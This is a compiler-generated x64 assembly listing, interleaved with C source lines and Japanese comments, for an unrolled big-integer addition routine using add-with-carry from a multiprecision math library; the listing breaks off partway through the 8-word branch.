; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT Add_Imp_using_ADC
_TEXT SEGMENT
u_buf$ = 64
u_count$ = 72
v_buf$ = 80
v_count$ = 88
w_buf$ = 96
w_count$ = 104
Add_Imp_using_ADC PROC ; COMDAT
; 147 : {
mov QWORD PTR [rsp+8], rbx
push rdi
sub rsp, 48 ; 00000030H
; 148 : // x のワード長が y のワード長以上であるようにする
; 149 : if (u_count < v_count)
; 150 : {
; 151 : __UNIT_TYPE* t_buf = u_buf;
; 152 : u_buf = v_buf;
; 153 : v_buf = t_buf;
; 154 : __UNIT_TYPE t_count = u_count;
; 155 : u_count = v_count;
; 156 : v_count = t_count;
; 157 : }
; 158 : __UNIT_TYPE* up = u_buf;
cmp rdx, r9
mov r10, r8
mov r8, rcx
mov rbx, r9
cmovae r8, r10
cmovae rbx, rdx
cmovae r10, rcx
mov r11, rdx
cmovae r11, r9
; 159 : __UNIT_TYPE* vp = v_buf;
; 160 : __UNIT_TYPE* wp = w_buf;
mov r9, QWORD PTR w_buf$[rsp]
; 161 : char c = 0;
; 162 :
; 163 : // まず 32 ワードずつ加算をする。
; 164 : __UNIT_TYPE count = v_count >> 5;
mov rdi, r11
xor cl, cl
shr rdi, 5
; 165 : while (count != 0)
test rdi, rdi
je $LN3@Add_Imp_us
; 148 : // x のワード長が y のワード長以上であるようにする
; 149 : if (u_count < v_count)
; 150 : {
; 151 : __UNIT_TYPE* t_buf = u_buf;
; 152 : u_buf = v_buf;
; 153 : v_buf = t_buf;
; 154 : __UNIT_TYPE t_count = u_count;
; 155 : u_count = v_count;
; 156 : v_count = t_count;
; 157 : }
; 158 : __UNIT_TYPE* up = u_buf;
mov rdx, r8
sub rdx, r9
npad 10
$LL2@Add_Imp_us:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 49 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [r10]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 50 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [r10+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [rdx+r9+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 51 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [r10+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [rdx+r9+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 52 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [r10+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [rdx+r9+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 53 : c = _ADD_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [r10+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [rdx+r9+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 54 : c = _ADD_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [r10+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 55 : c = _ADD_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [r10+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 56 : c = _ADD_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [r10+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+56]
mov QWORD PTR [r9+56], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 57 : c = _ADD_UNIT(c, xp[8], yp[8], &zp[8]);
mov rax, QWORD PTR [r10+64]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+64]
mov QWORD PTR [r9+64], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 58 : c = _ADD_UNIT(c, xp[9], yp[9], &zp[9]);
mov rax, QWORD PTR [r10+72]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+72]
mov QWORD PTR [r9+72], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 59 : c = _ADD_UNIT(c, xp[10], yp[10], &zp[10]);
mov rax, QWORD PTR [r10+80]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+80]
mov QWORD PTR [r9+80], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 60 : c = _ADD_UNIT(c, xp[11], yp[11], &zp[11]);
mov rax, QWORD PTR [r10+88]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+88]
mov QWORD PTR [r9+88], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 61 : c = _ADD_UNIT(c, xp[12], yp[12], &zp[12]);
mov rax, QWORD PTR [r10+96]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+96]
mov QWORD PTR [r9+96], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 62 : c = _ADD_UNIT(c, xp[13], yp[13], &zp[13]);
mov rax, QWORD PTR [r10+104]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+104]
mov QWORD PTR [r9+104], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 63 : c = _ADD_UNIT(c, xp[14], yp[14], &zp[14]);
mov rax, QWORD PTR [r10+112]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+112]
mov QWORD PTR [r9+112], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 64 : c = _ADD_UNIT(c, xp[15], yp[15], &zp[15]);
mov rax, QWORD PTR [r10+120]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+120]
mov QWORD PTR [r9+120], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 65 : c = _ADD_UNIT(c, xp[16], yp[16], &zp[16]);
mov rax, QWORD PTR [r10+128]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+128]
mov QWORD PTR [r9+128], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 66 : c = _ADD_UNIT(c, xp[17], yp[17], &zp[17]);
mov rax, QWORD PTR [r10+136]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+136]
mov QWORD PTR [r9+136], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 67 : c = _ADD_UNIT(c, xp[18], yp[18], &zp[18]);
mov rax, QWORD PTR [r10+144]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+144]
mov QWORD PTR [r9+144], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 68 : c = _ADD_UNIT(c, xp[19], yp[19], &zp[19]);
mov rax, QWORD PTR [r10+152]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+152]
mov QWORD PTR [r9+152], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 69 : c = _ADD_UNIT(c, xp[20], yp[20], &zp[20]);
mov rax, QWORD PTR [r10+160]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+160]
mov QWORD PTR [r9+160], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 70 : c = _ADD_UNIT(c, xp[21], yp[21], &zp[21]);
mov rax, QWORD PTR [r10+168]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+168]
mov QWORD PTR [r9+168], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 71 : c = _ADD_UNIT(c, xp[22], yp[22], &zp[22]);
mov rax, QWORD PTR [r10+176]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+176]
mov QWORD PTR [r9+176], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 72 : c = _ADD_UNIT(c, xp[23], yp[23], &zp[23]);
mov rax, QWORD PTR [r10+184]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+184]
mov QWORD PTR [r9+184], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 73 : c = _ADD_UNIT(c, xp[24], yp[24], &zp[24]);
mov rax, QWORD PTR [r10+192]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+192]
mov QWORD PTR [r9+192], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 74 : c = _ADD_UNIT(c, xp[25], yp[25], &zp[25]);
mov rax, QWORD PTR [r10+200]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+200]
mov QWORD PTR [r9+200], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 75 : c = _ADD_UNIT(c, xp[26], yp[26], &zp[26]);
mov rax, QWORD PTR [r10+208]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+208]
mov QWORD PTR [r9+208], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 76 : c = _ADD_UNIT(c, xp[27], yp[27], &zp[27]);
mov rax, QWORD PTR [r10+216]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+216]
mov QWORD PTR [r9+216], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 77 : c = _ADD_UNIT(c, xp[28], yp[28], &zp[28]);
mov rax, QWORD PTR [r10+224]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+224]
mov QWORD PTR [r9+224], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 78 : c = _ADD_UNIT(c, xp[29], yp[29], &zp[29]);
mov rax, QWORD PTR [r10+232]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+232]
mov QWORD PTR [r9+232], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 79 : c = _ADD_UNIT(c, xp[30], yp[30], &zp[30]);
mov rax, QWORD PTR [r10+240]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+240]
mov QWORD PTR [r9+240], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 80 : c = _ADD_UNIT(c, xp[31], yp[31], &zp[31]);
mov rax, QWORD PTR [r10+248]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r9+rdx+248]
mov QWORD PTR [r9+248], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 168 : up += 32;
add r10, 256 ; 00000100H
; 169 : vp += 32;
add r8, 256 ; 00000100H
; 170 : wp += 32;
add r9, 256 ; 00000100H
; 171 : --count;
sub rdi, 1
jne $LL2@Add_Imp_us
$LN3@Add_Imp_us:
; 172 : }
; 173 : // この時点で未処理の桁は 32 ワード未満のはず
; 174 :
; 175 : // 未処理の桁が 16 ワード以上あるなら 16 ワード加算を行う。
; 176 : if (v_count & 0x10)
test r11b, 16
je SHORT $LN5@Add_Imp_us
; 177 : {
; 178 : c = _ADD_16WORDS_ADC(c, up, vp, wp);
mov rdx, r10
call _ADD_16WORDS_ADC
; 179 : up += 16;
sub r10, -128 ; ffffffffffffff80H
; 180 : vp += 16;
sub r8, -128 ; ffffffffffffff80H
; 181 : wp += 16;
sub r9, -128 ; ffffffffffffff80H
movzx ecx, al
$LN5@Add_Imp_us:
; 182 : }
; 183 : // この時点で未処理の桁は 16 ワード未満のはず
; 184 :
; 185 : // 未処理の桁が 8 ワード以上あるなら 8 ワード加算を行う。
; 186 : if (v_count & 0x8)
test r11b, 8
je SHORT $LN6@Add_Imp_us
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3201 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [r10]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3202 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [r10+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3203 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [r10+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
